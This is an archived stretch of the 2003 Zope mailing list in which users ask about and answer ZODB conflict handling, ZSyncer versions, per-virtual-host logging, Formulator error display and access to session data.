Hello Zopistas! > I'm trying to pass a variable value from the root folder to a subfolder > but I can't. How can I do that??? > Thanks for your help. > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From g.oogle at free.fr Sat Aug 30 11:25:23 2003 From: g.oogle at free.fr (=?ISO-8859-1?Q?G=E9rard_Oogle?=) Date: Sat Aug 30 13:25:30 2003 Subject: [Zope] Confusion about thread safety In-Reply-To: <3F5008A7.9060905@wanadoo.fr> References: <3F5008A7.9060905@wanadoo.fr> Message-ID: <3F50DE03.8000303@free.fr> andre wrote: > Hi, > > after reading several things about thread safety, i'm a little bit > confused by the fact that the words threads and connection are used in > too various contexts. > > So i'll ask a simple question. > > With a basic Zope server, without any other DB, what happens when two > different users want to commit changes made to the same object at the > same time ? > > are the two requests, two different threads ? ZODB speaking. Hi Andr?, I am a Zope newbie -big time- but I tend to think that asked with the word 'thread', your question does not make sense. First please do not think that the following lines are pedantic: it is the summary of what I think I learned by hitting so many walls ('appris sur le tas' in French) Second: as a consequence, please correct the slightest stupidities. /Thread/ is a concept that belongs to multi-tasking: how 2 processes access to the memory (volatile). /Connection/ is a concept that belongs to the client-server model. /Commit/ is a concept that belongs to the transactional programming model: it makes durable the actions of a /unit of work/. Threads and unit of works resort to 'some kind of locking' to fulfill their responsibilities but their scope is different. A database is: * a server: as a consequence, a client has access to it via a connection object * probably multi-threaded (but I tend to think that, as a client developer, I don't care except when it comes to performances) * that often supports the concept of transactions * whose transactional behavior can be tweaked via the connection object (via the isolation level). http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/v8infocenter.d2w/report?target=mainFrame&fn=c0004120.htm (Look at the phenomena described + follow the link 'isolation levels') Andr?, I would have rephrased your question in 2 questions: * does ZODB supports transactions? * What kind of isolation levels does ZODB support? From what I read so far, the answer to the first question is yes. I do not not know the answer to the second. Regards, -- G?rard From g.oogle at free.fr Sat Aug 30 11:40:32 2003 From: g.oogle at free.fr (=?ISO-8859-1?Q?G=E9rard_Oogle?=) Date: Sat Aug 30 13:40:41 2003 Subject: [Zope] Confusion about thread safety In-Reply-To: <3F50DE03.8000303@free.fr> References: <3F5008A7.9060905@wanadoo.fr> <3F50DE03.8000303@free.fr> Message-ID: <3F50E190.1050309@free.fr> >when two different users want to commit changes made to the same object at the >same time > In http://www.dieter.handshake.de/pyprojects/zope/zope.html#bct_sec_5.1: 'The ZODB usually guarantees that a transaction does not read inconsistent data by issuing a |ReadConflictError| when it tries to read an object from the ZODB that has been modified since transaction start. Zope usually restarts the transaction in this case.' I would guess so that: * Since there is no such thing as 'at the same time' ... * the /first/ client that will issue a commit will be fine * Without Dieter's patch, the /second/ one should fail because a |ReadConflictError will have been thrown | -- G?rard From g.oogle at free.fr Sat Aug 30 11:50:35 2003 From: g.oogle at free.fr (=?ISO-8859-1?Q?G=E9rard_Oogle?=) Date: Sat Aug 30 13:51:16 2003 Subject: [Zope] ZSyncer: last stable version Message-ID: <3F50E3EB.9020600@free.fr> Hi, On http://www.zope.org/Members/andym/ZSyncer, the last version of Zsyncer is 0.4.6 and is 10 months old. Andym -the author?- also invites the visitor to pick the latest ZSyncer from CVS where there seems to have been changes committed less than 2 weeks ago. Which version should a newbie pick? Regards, -- G?rard From allison at sumeru.stanford.EDU Sat Aug 30 12:09:32 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sat Aug 30 14:10:04 2003 Subject: [Zope] ZSyncer: last stable version In-Reply-To: <3F50E3EB.9020600@free.fr> Message-ID: Paul Winkler would be a good contact. Jlio Silva=20 recently posted an extension (see the archives). I have been working on a product "Son of Zsyncer" which solves a slightly= =20 different problem, the export of a portion of a site to a list of other sites. It's in use at the moment, but it is really pre-alpha code. On Sat, 30 Aug 2003, [ISO-8859-1] G=E9rard Oogle wrote: > Hi, >=20 >=20 > On http://www.zope.org/Members/andym/ZSyncer, the last version of > Zsyncer is 0.4.6 and is 10 months old. > Andym -the author?- also invites the visitor to pick the latest ZSyncer > from CVS where there seems to have been changes committed less than 2 > weeks ago. > Which version should a newbie pick? >=20 > Regards, >=20 > --=20 > G=E9rard >=20 >=20 >=20 > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists -=20 > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) >=20 From dieter at handshake.de Sat Aug 30 21:40:39 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sat Aug 30 14:48:39 2003 Subject: [Zope] Confusion about thread safety In-Reply-To: <3F5008A7.9060905@wanadoo.fr> References: <3F5008A7.9060905@wanadoo.fr> Message-ID: <16208.61351.484687.894090@gargle.gargle.HOWL> andre wrote at 2003-8-29 22:15 -0400: > ... > With a basic Zope server, without any other DB, what happens when two > different users want to commit changes made to the same object at the > same time ? One of the requests will get a "ConflictError". Usually, Zope restarts such a request automatically (it tries up to three times). Dieter From dexter at ambidexter.com Sat Aug 30 23:24:55 2003 From: dexter at ambidexter.com (Michael Dexter) Date: Sat Aug 30 15:25:03 2003 Subject: [Zope] VirtualLogMonster In-Reply-To: References: Message-ID: Hello, It turns out that VirtualHostMonster was exactly what I was looking for to set up simple virtual hosts with Zope. Any word on VirtualLogMonster so I can separate the log files from those virtual hosts? Thanks, MD. From andy at agmweb.ca Sat Aug 30 13:50:54 2003 From: andy at agmweb.ca (Andy McKay) Date: Sat Aug 30 15:52:58 2003 Subject: [Zope] ZSyncer: last stable version In-Reply-To: <3F50E3EB.9020600@free.fr> References: <3F50E3EB.9020600@free.fr> Message-ID: <3F51001E.4060205@agmweb.ca> The version on zope.org, just because its old doesnt mean there is anything wrong with it. There will probably be a new release soon based on that CVS when other good folks, like Paul, get around to it. G?rard Oogle wrote: > Hi, > > > On http://www.zope.org/Members/andym/ZSyncer, the last version of > Zsyncer is 0.4.6 and is 10 months old. > Andym -the author?- also invites the visitor to pick the latest ZSyncer > from CVS where there seems to have been changes committed less than 2 > weeks ago. > Which version should a newbie pick? > > Regards, > -- Andy McKay http://www.agmweb.ca From jens at zope.com Sat Aug 30 17:15:59 2003 From: jens at zope.com (Jens Vagelpohl) Date: Sat Aug 30 16:15:49 2003 Subject: [Zope] VirtualLogMonster In-Reply-To: Message-ID: On Saturday, Aug 30, 2003, at 15:24 US/Eastern, Michael Dexter wrote: > It turns out that VirtualHostMonster was exactly what I was looking > for to set up simple virtual hosts with Zope. Any word on > VirtualLogMonster so I can separate the log files from those virtual > hosts? > You will probably need a script that post-processes your log and writes separate log files for each domain. It would be easier if you had Apache in front of Zope. That way you could directly specify different logging directives per virtual host. jens From borelan at wanadoo.fr Sun Aug 31 02:56:15 2003 From: borelan at wanadoo.fr (andre) Date: Sun Aug 31 01:56:58 2003 Subject: [Zope] Confusion about thread safety References: <3F5008A7.9060905@wanadoo.fr> <3F50DE03.8000303@free.fr> <3F50E190.1050309@free.fr> Message-ID: <3F518DFF.7000404@wanadoo.fr> G.oogle and Dieter, Thanks for your explanations. English is not my mother language and from time to time i have difficulties to understand the mix of acronyms, jargon, short expressions used between gurus (except 'appris sur le tas' :), and something that first appeared obvious like transaction management becomes 'obscure' after having read messages about the subject. Your answers put a little bit of order in my fresh knowledge. Bye, Andre G?rard Oogle a ?crit: >>when two different users want to commit changes made to the same object at the >>same time >> > > In http://www.dieter.handshake.de/pyprojects/zope/zope.html#bct_sec_5.1: > 'The ZODB usually guarantees that a transaction does not read > inconsistent data by issuing a |ReadConflictError| when it tries to read > an object from the ZODB that has been modified since transaction start. > Zope usually restarts the transaction in this case.' > > I would guess so that: > > * Since there is no such thing as 'at the same time' ... > * the /first/ client that will issue a commit will be fine > * Without Dieter's patch, the /second/ one should fail because a > |ReadConflictError will have been thrown > | > From dajoy at openworldlearning.org Thu Aug 28 19:08:14 2003 From: dajoy at openworldlearning.org (Daniel Ajoy) Date: Sun Aug 31 09:23:33 2003 Subject: [Zope] feed ZSQL "select" to a multiple selection property Message-ID: How can I feed a ZSQL "select" to a multiple selection property? Daniel From tom at allreddata.com Sun Aug 31 17:08:58 2003 From: tom at allreddata.com (Tom P. Allred) Date: Sun Aug 31 16:09:26 2003 Subject: [Zope] Highlighting bad data fields in Formulator Message-ID: <000901c36ffb$b87ed4a0$0300a8c0@direcway.com> Hi, It seems like I've seen this question in the mailing list before but couldn't find it when I searched. I'm currently using code from a Formulator example to display input errors to the user. Here is the code from the python 'formaction' script. # Here we'll catch errors try: result = context.dataform.validate_all(context.REQUEST) except FormValidationError, errlist: print "I'm sorry. Some of the information you entered was either incorrect or incomplete. Please use the "back" button and fill it in correctly. Thank you!

" for error in errlist.errors: print '' + error.field.get_value('title') + ': '+ error.error_text + '
' print '
' return printed What I'd like to do instead is re-display the input form with highlighted (say red) field labels and a message at the top asking the user to fix the highlighted fields and re-submit. Here is the code displaying the fields, again taken from an example. It is defined in a macro called by the folder's index_html. It seems like the 'formaction' script will need to set some values for the error fields that the ZPT will use to set their label color. Any suggestions on how to do this? Thanks, Tom P. Allred Tom@AllredData.com From allison at sumeru.stanford.EDU Sun Aug 31 17:32:21 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sun Aug 31 19:32:35 2003 Subject: [Zope] Session Message-ID: I have a collection of session objects, each corresponding to an active users, each stored away in a session data container which is, itself, stored away in a transience object (aka temp_folder). For system monitoring purposes I want a privileged user to be able to look at the session data objects. The documentation (Zope Book, 2_6 Ed) is silent on this question. A first attempt at looking inside a session data container failed on security even at the highest privilege level. I'm assuming that access is only allowed from External Methods and Procducts, but thought I'd ask the group before reading the code and experimenting. -d
Field Display Label :